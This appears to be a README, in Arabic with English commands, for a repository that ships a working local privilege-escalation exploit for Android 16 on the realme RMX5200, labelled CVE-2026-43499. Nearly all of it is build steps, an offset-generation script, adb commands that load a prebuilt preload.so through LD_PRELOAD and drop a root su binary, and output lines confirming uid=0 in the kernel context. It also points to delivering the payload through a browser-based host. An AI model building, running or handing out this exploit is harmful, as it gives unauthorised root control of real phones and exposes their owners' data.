
استغلال رفع الامتيازات المحلي لنظام Android 16 لهاتف realme RMX5200 باستخدام سلسلة preload.so المبنية على LD_PRELOAD لتحقيق وصول جذر مؤقت عبر CVE-2026-43499.
CVE-2026-43499 تصعيد الامتيازات المحلية SO لـ:
| العنصر | القيمة |
|---|---|
| الجهاز | realme RMX5200 / RE6030L1 |
| أندرويد | 16 |
| النواة | 6.12.23-android16-5-gb2a876903b49-ab14541642-4k |
| البصمة | realme/RMX5200/RE6030L1:16/BP2A.250605.015/...:user/release-keys |
الملف الثنائي المجهز: bin/preload.so
يحتفظ هذا المستودع بهيكل بناء SO فقط (المصادر + الإزاحات + الملف الثنائي المجهز). لا يوجد متصفح مساعد، ولا تفريغات برامج ثابتة، ولا سقالات اختبارية.
مبني على السلسلة العامة IonStack / بأسلوب popsicle; تم إعادة توليد الإزاحات من ملفي boot.img و xbl_config.img لهذا الجهاز.
.
├── bin/preload.so # prebuilt aarch64 shared object (verified)
├── generate_target.py # optional: regenerate target.h from boot+xbl
├── source/
│ ├── Makefile
│ └── src/
│ ├── target.h # RMX5200 offsets
│ ├── main.c preload.c slide.c ...
│ └── kernelsnitch/
└── README.md
المتطلبات:
llvm-objdump (فقط في حالة إعادة توليد target.h)# Linux NDK example
export NDK_ROOT=/path/to/android-ndk
make -C source clean preload
# Windows NDK example
make -C source clean preload \
NDK_ROOT="/c/Users/YOU/AppData/Local/Android/Sdk/ndk/27.2.12479018" \
NDK_TOOLCHAIN="/c/Users/YOU/AppData/Local/Android/Sdk/ndk/27.2.12479018/toolchains/llvm/prebuilt/windows-x86_64"
المخرجات:
source/build/bin/preload.so
cd source
mkdir -p build/bin build/embed
CC="$NDK_TOOLCHAIN/bin/aarch64-linux-android35-clang"
$CC -O2 -Isrc -fPIE -pie -DTARGET_CONFIG_H=\"target.h\" \
src/su_daemon.c -o build/embed/su_daemon_aarch64_pie
$CC -O2 -Isrc -fPIC -Wno-unused-parameter -Wno-sign-compare -Wno-unused-function \
-DTARGET_CONFIG_H=\"target.h\" \
src/main.c src/util.c src/slide.c src/fops.c src/pipe.c \
src/preload.c src/su_blob.S \
-shared -o build/bin/preload.so -pthread
يتطلب صور برامج ثابتة متطابقة (غير مرفقة هنا):
python3 generate_target.py \
--boot boot.img \
--xbl-config xbl_config.img \
--llvm-objdump llvm-objdump \
-o source/src/target.h
adb push bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
adb shell '/data/local/tmp/su -c id'
قم بتحميل preload.so هذا عبر مضيف على نمط Firefox-151 lonStack (مثل إدخال جهاز Rootme). غير مضمن في هذا المستودع.
مؤشرات النجاح:
slide-kaslr-ok
direct credential result uid=0 ...
local su binary ready path=/data/local/tmp/su
direct-root-summary root=1 ...
uid=0(root) gid=0(root) ... context=kernel
target.h جديد / إعادة بناء.preload.so بأسلوب popsicle